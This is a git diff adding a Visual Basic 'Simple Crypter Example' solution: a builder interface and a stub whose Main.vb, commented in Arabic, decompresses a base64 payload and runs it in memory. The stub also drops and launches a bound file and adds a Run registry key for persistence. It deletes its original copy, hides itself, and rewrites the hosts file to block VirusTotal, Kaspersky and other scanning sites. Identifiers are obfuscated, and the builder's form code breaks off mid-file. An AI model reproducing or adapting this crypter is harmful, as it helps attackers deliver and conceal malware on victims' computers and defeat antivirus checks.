ToolStrip.Visible = ToolBarToolStripMenuItem.Checked + End Sub + + Private Sub StatusBarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StatusBarToolStripMenuItem.Click + 'Toggle the visibility of the statusstrip and also the checked state of the associated menu item + StatusBarToolStripMenuItem.Checked = Not StatusBarToolStripMenuItem.Checked + StatusStrip.Visible = StatusBarToolStripMenuItem.Checked + End Sub + + 'Change whether or not the folders pane is visible + Private Sub ToggleFoldersVisible() + 'First toggle the checked state of the associated menu item + FoldersToolStripMenuItem.Checked = Not FoldersToolStripMenuItem.Checked + + 'Change the Folders toolbar button to be in sync + FoldersToolStripButton.Checked = FoldersToolStripMenuItem.Checked + + ' Collapse the Panel containing the TreeView. + Me.SplitContainer.Panel1Collapsed = Not FoldersToolStripMenuItem.Checked + End Sub + + Private Sub FoldersToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FoldersToolStripMenuItem.Click + ToggleFoldersVisible() + End Sub + + Private Sub FoldersToolStripButton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FoldersToolStripButton.Click + ToggleFoldersVisible() + End Sub + + Private Sub SetView(ByVal View As System.Windows.Forms.View) + 'Figure out which menu item should be checked + Dim MenuItemToCheck As ToolStripMenuItem = Nothing + Select Case View + Case View.Details + MenuItemToCheck = DetailsToolStripMenuItem + Case View.LargeIcon + MenuItemToCheck = LargeIconsToolStripMenuItem + Case View.List + MenuItemToCheck = ListToolStripMenuItem + Case View.SmallIcon + MenuItemToCheck = SmallIconsToolStripMenuItem + Case View.Tile + MenuItemToCheck = TileToolStripMenuItem + Case Else + Debug.Fail("Unexpected View") + View = View.Details + MenuItemToCheck = DetailsToolStripMenuItem + End Select + + 'Check the appropriate menu item and deselect all others under the Views menu + For Each MenuItem As ToolStripMenuItem In ListViewToolStripButton.DropDownItems + If MenuItem Is MenuItemToCheck Then + MenuItem.Checked = True + Else + MenuItem.Checked = False + End If + Next + + 'Finally, set the view requested + ListView.View = View + End Sub + + Private Sub ListToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListToolStripMenuItem.Click + SetView(View.List) + End Sub + + Private Sub DetailsToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DetailsToolStripMenuItem.Click + SetView(View.Details) + End Sub + + Private Sub LargeIconsToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LargeIconsToolStripMenuItem.Click + SetView(View.LargeIcon) + End Sub + + Private Sub SmallIconsToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SmallIconsToolStripMenuItem.Click + SetView(View.SmallIcon) + End Sub + + Private Sub TileToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TileToolStripMenuItem.Click + SetView(View.Tile) + End Sub + + Private Sub OpenToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles OpenToolStripMenuItem.Click + Dim OpenFileDialog As New OpenFileDialog + OpenFileDialog.InitialDirectory = My.Computer.FileSystem.SpecialDirectories.MyDocuments + OpenFileDialog.Filter = "Text Files (*.txt)|*.txt" + OpenFileDialog.ShowDialog(Me) + + Dim FileName As String = OpenFileDialog.FileName + ' TODO: Add code to open the file + End Sub + + Private Sub SaveAsToolStripMenuItem_Click(ByVal sender As Object, ByVal e As EventArgs) Handles SaveAsToolStripMenuItem.Click + Dim SaveFileDialog As New SaveFileDialog + SaveFileDialog.InitialDirectory = My.Computer.FileSystem.SpecialDirectories.MyDocuments + SaveFileDialog.Filter = "Text Files (*.txt)|*.txt" + SaveFileDialog.ShowDialog(Me) + + Dim FileName As String = SaveFileDialog.FileName + ' TODO: Add code here to save the current contents of the form to a file. + End Sub + + Private Sub TreeView_AfterSelect(ByVal sender As Object, ByVal e As System.Windows.Forms.TreeViewEventArgs) Handles TreeView.AfterSelect + ' TODO: Add code to change the listview contents based on the currently-selected node of the treeview + LoadListView() + End Sub + +End Class diff --git a/scode (Elm0D Simple Crypter Example/Stb/Form1.resx b/scode (Elm0D Simple Crypter Example/Stb/Form1.resx new file mode 100644 index 0000000..5ea0895 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/Stb/Main.vb b/scode (Elm0D Simple Crypter Example/Stb/Main.vb new file mode 100644 index 0000000..bb8ce8b --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/Main.vb @@ -0,0 +1,224 @@ + +Imports Microsoft.VisualBasic.CompilerServices +Imports System.Runtime.CompilerServices +Imports System.IO +Imports System.IO.Compression +Imports System.Text +Imports System.Reflection +Imports Microsoft.VisualBasic +Imports System.Collections +Imports System.Collections.Generic +Imports System.Diagnostics +Imports System.Runtime.InteropServices +Imports System.Resources +Imports System +Imports System.Security.Cryptography +Imports Microsoft.Win32 +Imports System.Threading + +Module BTQnWhnjvMNjktQ + Public servstring As String = "[serverstring]" ''سترنج بايتات السرفر + Public copyserv As String = "[Falsecopyserv]" ''تفعيل او عدم تفعيل خاصيه النسخ + Public copypth As String = Environ("[%temp%]") ''مسار النسخ + Public copFolder As String = "[copFolder]" ''فولدر اضافى يمكن ازالته + Public copynam As String = "[copynam]" ''اسم السرفر + Public startup As String = "[startupfalse]" ''تفعيا او عدم تغعيل خاصيه الثبيت + Public regname As String = "[serregname]" ''اسم مفتاح الريجرسترى للسرفر + Public servsleep As String = "[falsesrvsleep]" ''تفعيل او عدم تفعيل تاخير عند تشغيل السرفر + Public servsleeptime As String = "[srvsleeptime]" ''الوقت المراد تاخيره + + Public Binder As String = "[falsebind]" ''تفعيل او عدم تفعيل خاصيه الدمج + Public bindstring As String = "[bindedstring]" ''سترنج بايتات الملف المدمج + Public bindpth As String = Environ("[bindtemp]") ''مسار نسخ الملف المدمج + Public bindname As String = "[bindname]" ''اسم الملف المدمج + Public bindsleep As String = "[falsebndleep]" ''تفعيل او عدم تفعيل تاخير عند تشغيل الملف المدمج + Public bindsleeptime As String = "[bndsleeptime]" ''الوقت المراد تاخيره + + Public block As String = "[falseblock]" ''تفعيل او اغلاقخاصيه حظر المواقع + Public melt As String = "[falsemelt]" ''تفعيل او اغلاق خاصيه الاذابه + Public HIDEME As String = "[falsehide]" ''تفعيل او اغلاق خاصيه اخفاء الملف + + Sub Main() + ''بدء الدمج وتشغيل الملف + If Binder = "True" Then + binderway() + End If + ''اخفاء السرفر + If HIDEME = "TRUE" Then + Dim thread2 As New Threading.Thread(AddressOf hidemeexp) + thread2.IsBackground = False + thread2.Start() + End If + '''فى اغلب الاحوال يتم التعديل على ملف هوست فى حاله التشغيل مسئول ولكنها توفير الحجم للستب افضل من الطريقه الثانيه + If block = "True" Then + blocksite() + End If + '''خاصيه الذوبان لا اعتقد ان لها اهميه لانها عباره عن نسخ للسرفر فى التيمب ثم حذفه فقط ثم تشغيله من التيمب + If melt = "True" Then + Melltgo(My.Computer.FileSystem.GetName(Application.ExecutablePath)) + End If + ''''تثبيت فى الريجرسترى + If startup = "True" Then + addtoreg() + End If + '''نسخ السرفر ثم غلقه ثم تشغيله من مساره الجديد + If copyserv = "True" Then + Copytrue() + End If + If servsleep = "true" Then + Threading.Thread.Sleep(servsleeptime * 1000) + End If + '''التشفير + Dim Elm0D As Byte() = mMaoOpKsriYPYFYguDjCnmb(Convert.FromBase64String(servstring)) + + '''يفضل استبدال نقطه الادخال برنبى او مت تشاء فط لا تضع الاثنين معا حتى لا يكون هناك اضافات وزياده للحجم بدون فائده + + Dim ҘЊくくҘこϐほмめこм As System.Reflection.Assembly = System.Reflection.Assembly.Load(Elm0D) + Dim お頂Џ頂まめШ頂Шл As MethodInfo = ҘЊくくҘこϐほмめこм.EntryPoint + If お頂Џ頂まめШ頂Шл IsNot Nothing Then + Dim Ầ予争亊こおЊḈまえ As Object = ҘЊくくҘこϐほмめこм.CreateInstance(お頂Џ頂まめШ頂Шл.Name) + お頂Џ頂まめШ頂Шл.Invoke(Ầ予争亊こおЊḈまえ, Nothing) + End If + + + + + + + + + + End Sub + ''دمج ملف + Public Function binderway() + Try + If File.Exists(bindpth & "\" & bindname) Then + File.Delete(bindpth & "\" & bindname) + End If + File.WriteAllBytes(bindpth & "\" & bindname, mMaoOpKsriYPYFYguDjCnmb(SB(bindstring))) + Threading.Thread.CurrentThread.Sleep(1000) + If bindsleep = "true" Then + Threading.Thread.Sleep(bindsleeptime * 1000) + End If + Process.Start(bindpth & "\" & bindname) + Catch + End Try + End Function + ''تثبيت الريجرسترى + Public Function addtoreg() + Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) + If copyserv = "True" Then + key.SetValue(regname, copypth & "\" & copFolder & "\" & copynam) + Else + key.SetValue(regname, Application.ExecutablePath) + End If + key.Close() + End Function + ''نسخ السرفر فى الملفات + Public Function Copytrue() + If Not My.Computer.FileSystem.FileExists(copypth & "\" & copFolder & "\" & copynam) Then + If Not (Directory.Exists(copypth & "\" & copFolder)) Then + Directory.CreateDirectory(copypth & "\" & copFolder) + End If + File.Copy(Application.ExecutablePath, copypth & "\" & copFolder & "\" & copynam) + + Thread.Sleep("3000") + Process.Start(copypth & "\" & copFolder & "\" & copynam) + Thread.Sleep("3000") + Process.GetCurrentProcess.Kill() + End If + End Function + ''اذابه ولككن لا اظن ان لها اهميه طالما ان هناك نسخ للسرفر يمكن وضع امر حذف للسرفر بعد نسخه وقتل العمليه الاساسيه + Public Function Melltgo(ByVal HGBFBF讲וh房h不者 As String) + Dim 文אה个יh不者 As String = IO.Path.GetTempPath + If Not Application.StartupPath = 文אה个יh不者.Remove(文אה个יh不者.LastIndexOf("\")) Then + System.IO.File.Copy(Application.ExecutablePath, 文אה个יh不者 & HGBFBF讲וh房h不者) + Process.Start(文אה个יh不者 & HGBFBF讲וh房h不者) + System.IO.File.SetAttributes(文אה个יh不者 & "\" & HGBFBF讲וh房h不者, IO.FileAttributes.Hidden) + Shell("cmd.exe /c del " & ChrW(34) & Application.ExecutablePath & ChrW(34) & " & exit", AppWinStyle.Hide) + End + End If + End Function + ''gzipcom + Public Function mMaoOpKsriYPYFYguDjCnmb(ByVal bytData() As Byte) As Byte() + Using oMS As New MemoryStream(bytData) + Using oGZipStream As New GZipStream(oMS, CompressionMode.Decompress) + Const TUvnjiCKUhMIVstSVPieJtr As Integer = 1024 + Dim grJSscjZvmKZRRHFJfMAWHZ As Integer = 0 + Do + ReDim Preserve bytData(grJSscjZvmKZRRHFJfMAWHZ + TUvnjiCKUhMIVstSVPieJtr - 1) + Dim QOwrKfOpimoETvVluAlKlcp As Integer = oGZipStream.Read(bytData, grJSscjZvmKZRRHFJfMAWHZ, TUvnjiCKUhMIVstSVPieJtr) + grJSscjZvmKZRRHFJfMAWHZ += QOwrKfOpimoETvVluAlKlcp + If QOwrKfOpimoETvVluAlKlcp < TUvnjiCKUhMIVstSVPieJtr Then + ReDim Preserve bytData(grJSscjZvmKZRRHFJfMAWHZ - 1) + Exit Do + End If + Loop + oGZipStream.Close() + End Using + oMS.Close() + End Using + Return bytData + End Function + ''حظر المواقع فى كلف الهوستس + Private Sub blocksite() + Dim 烟UוنהםiwGbلנ要3ח As String = Environment.GetFolderPath(Environment.SpecialFolder.System) + + Dim עyAuM个 As String = 烟UוنהםiwGbلנ要3ח & "\" & "drivers" & "\" & "etc" & "\\" & "hosts" + + Dim writer As New StreamWriter(עyAuM个) + writer.Write("127.0.0.1 www.virustotal.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 virustotal.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 novirusthanks.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 vscan.novirusthanks.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 virusscan.jotti.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.virusscan.jotti.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 virscan.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.virscan.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 virus-trap.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.virus-trap.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 filterbit.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.filterbit.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 viruschief.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.viruschief.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 kaspersky.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.kaspersky.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 metascan-online.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.metascan-online.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 nodistribute.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.nodistribute.com") + writer.Dispose() + End Sub + ''تحويل من سترنج لبايت + Function SB(ByVal s As String) As Byte() + Return System.Text.Encoding.Default.GetBytes(s) + End Function + ''اخفاء السرفر لا اظن ان لها اهميه + Sub hidemeexp() + Try + File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden) + Catch + End Try + End Sub +End Module + + diff --git a/scode (Elm0D Simple Crypter Example/Stb/My Project/Application.Designer.vb b/scode (Elm0D Simple Crypter Example/Stb/My Project/Application.Designer.vb new file mode 100644 index 0000000..2b797ee --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/My Project/Application.Designer.vb @@ -0,0 +1,13 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18449 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + diff --git a/scode (Elm0D Simple Crypter Example/Stb/My Project/Application.myapp b/scode (Elm0D Simple Crypter Example/Stb/My Project/Application.myapp new file mode 100644 index 0000000..9d66219 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + false + Form1 + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/Stb/My Project/AssemblyInfo.vb b/scode (Elm0D Simple Crypter Example/Stb/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..68c6d98 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Elm0D Simple Crypter Example/Stb/My Project/Resources.Designer.vb b/scode (Elm0D Simple Crypter Example/Stb/My Project/Resources.Designer.vb new file mode 100644 index 0000000..ae7edaa --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18449 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Stb.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (Elm0D Simple Crypter Example/Stb/My Project/Resources.resx b/scode (Elm0D Simple Crypter Example/Stb/My Project/Resources.resx new file mode 100644 index 0000000..5ea0895 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/My Project/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/Stb/My Project/Settings.Designer.vb b/scode (Elm0D Simple Crypter Example/Stb/My Project/Settings.Designer.vb new file mode 100644 index 0000000..7d22499 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.18449 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Stb.My.MySettings + Get + Return Global.Stb.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Elm0D Simple Crypter Example/Stb/My Project/Settings.settings b/scode (Elm0D Simple Crypter Example/Stb/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Elm0D Simple Crypter Example/Stb/Stb.vbproj b/scode (Elm0D Simple Crypter Example/Stb/Stb.vbproj new file mode 100644 index 0000000..d349329 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/Stb.vbproj @@ -0,0 +1,111 @@ + + + + + Debug + AnyCPU + {4A96F54A-B7AB-4B0F-B745-76D941A694D4} + WinExe + Sub Main + Stb + Stub + 512 + WindowsFormsWithCustomSubMain + v2.0 + + + AnyCPU + true + full + true + true + ..\WindowsApplication118\bin\Debug\ + Stub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + Stub.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + + + + + + + + + + + + + + + + + + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + VbMyResourcesResXFileCodeGenerator + My.Resources + Designer + Resources.Designer.vb + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118.sln b/scode (Elm0D Simple Crypter Example/WindowsApplication118.sln new file mode 100644 index 0000000..33c46e8 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Builder", "WindowsApplication118\Builder.vbproj", "{8DCDC538-0474-486C-9BE3-3429641D20F6}" +EndProject +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Stb", "Stb\Stb.vbproj", "{4A96F54A-B7AB-4B0F-B745-76D941A694D4}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8DCDC538-0474-486C-9BE3-3429641D20F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8DCDC538-0474-486C-9BE3-3429641D20F6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8DCDC538-0474-486C-9BE3-3429641D20F6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8DCDC538-0474-486C-9BE3-3429641D20F6}.Release|Any CPU.Build.0 = Release|Any CPU + {4A96F54A-B7AB-4B0F-B745-76D941A694D4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4A96F54A-B7AB-4B0F-B745-76D941A694D4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4A96F54A-B7AB-4B0F-B745-76D941A694D4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4A96F54A-B7AB-4B0F-B745-76D941A694D4}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118.v11.suo b/scode (Elm0D Simple Crypter Example/WindowsApplication118.v11.suo new file mode 100644 index 0000000..6fb3dd9 Binary files /dev/null and b/scode (Elm0D Simple Crypter Example/WindowsApplication118.v11.suo differ diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118.v12.suo b/scode (Elm0D Simple Crypter Example/WindowsApplication118.v12.suo new file mode 100644 index 0000000..8f543a1 Binary files /dev/null and b/scode (Elm0D Simple Crypter Example/WindowsApplication118.v12.suo differ diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/Builder.vbproj b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Builder.vbproj new file mode 100644 index 0000000..23882a1 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Builder.vbproj @@ -0,0 +1,128 @@ + + + + + Debug + AnyCPU + {8DCDC538-0474-486C-9BE3-3429641D20F6} + WinExe + Builder.My.MyApplication + Builder + Builder + 512 + WindowsForms + v2.0 + + + AnyCPU + true + full + true + true + bin\Debug\ + Builder.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + Builder.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + NEW Crypter.ico + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + \ No newline at end of file diff --git a/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.Designer.vb b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.Designer.vb new file mode 100644 index 0000000..8f3afd4 --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/WindowsApplication118/Form1.Designer.vb @@ -0,0 +1,1125 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.components = New System.ComponentModel.Container() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.Button1 = New System.Windows.Forms.Button() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.Button2 = New System.Windows.Forms.Button() + Me.GroupBox1 = New System.Windows.Forms.GroupBox() + Me.CheckBox11 = New System.Windows.Forms.CheckBox() + Me.Label13 = New System.Windows.Forms.Label() + Me.TextBox4 = New System.Windows.Forms.TextBox() + Me.copyser = New System.Windows.Forms.CheckBox() + Me.Label11 = New System.Windows.Forms.Label() + Me.TextBox7 = New System.Windows.Forms.TextBox() + Me.CheckBox7 = New System.Windows.Forms.CheckBox() + Me.Label4 = New System.Windows.Forms.Label() + Me.Label2 = New System.Windows.Forms.Label() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.servpath = New System.Windows.Forms.ComboBox() + Me.GroupBox5 = New System.Windows.Forms.GroupBox() + Me.PictureBox2 = New System.Windows.Forms.PictureBox() + Me.icotxt = New System.Windows.Forms.TextBox() + Me.CheckBox4 = New System.Windows.Forms.CheckBox() + Me.Button5 = New System.Windows.Forms.Button() + Me.GroupBox2 = New System.Windows.Forms.GroupBox() + Me.CheckBox14 = New System.Windows.Forms.CheckBox() + Me.Label8 = New System.Windows.Forms.Label() + Me.TextBox3 = New System.Windows.Forms.TextBox() + Me.Label5 = New System.Windows.Forms.Label() + Me.Label3 = New System.Windows.Forms.Label() + Me.bindpath = New System.Windows.Forms.ComboBox() + Me.Label12 = New System.Windows.Forms.Label() + Me.TextBox8 = New System.Windows.Forms.TextBox() + Me.CheckBox1 = New System.Windows.Forms.CheckBox() + Me.TextBox6 = New System.Windows.Forms.TextBox() + Me.Button7 = New System.Windows.Forms.Button() + Me.CheckBox2 = New System.Windows.Forms.CheckBox() + Me.CheckBox3 = New System.Windows.Forms.CheckBox() + Me.CheckBox10 = New System.Windows.Forms.CheckBox() + Me.Label9 = New System.Windows.Forms.Label() + Me.GroupBox3 = New System.Windows.Forms.GroupBox() + Me.CheckBox8 = New System.Windows.Forms.CheckBox() + Me.spoofbox = New System.Windows.Forms.ComboBox() + Me.GroupBox4 = New System.Windows.Forms.GroupBox() + Me.Label7 = New System.Windows.Forms.Label() + Me.RadioButton4 = New System.Windows.Forms.RadioButton() + Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown() + Me.RadioButton3 = New System.Windows.Forms.RadioButton() + Me.RadioButton1 = New System.Windows.Forms.RadioButton() + Me.RadioButton2 = New System.Windows.Forms.RadioButton() + Me.GroupBox6 = New System.Windows.Forms.GroupBox() + Me.CheckBox6 = New System.Windows.Forms.CheckBox() + Me.CheckBox13 = New System.Windows.Forms.CheckBox() + Me.CheckBox5 = New System.Windows.Forms.CheckBox() + Me.Label1 = New System.Windows.Forms.Label() + Me.NumericUpDown24 = New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown23 = New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown25 = New System.Windows.Forms.NumericUpDown() + Me.TextBox20 = New System.Windows.Forms.TextBox() + Me.TextBox21 = New System.Windows.Forms.TextBox() + Me.Button6 = New System.Windows.Forms.Button() + Me.TextBox22 = New System.Windows.Forms.TextBox() + Me.TabControl1 = New System.Windows.Forms.TabControl() + Me.TabPage1 = New System.Windows.Forms.TabPage() + Me.TabPage2 = New System.Windows.Forms.TabPage() + Me.GroupBox8 = New System.Windows.Forms.GroupBox() + Me.CheckBox12 = New System.Windows.Forms.CheckBox() + Me.TextBox5 = New System.Windows.Forms.TextBox() + Me.Button8 = New System.Windows.Forms.Button() + Me.TabPage3 = New System.Windows.Forms.TabPage() + Me.TabPage4 = New System.Windows.Forms.TabPage() + Me.FileVersion = New System.Windows.Forms.Label() + Me.Label10 = New System.Windows.Forms.Label() + Me.CheckBox9 = New System.Windows.Forms.CheckBox() + Me.NumericUpDown26 = New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown27 = New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown22 = New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown20 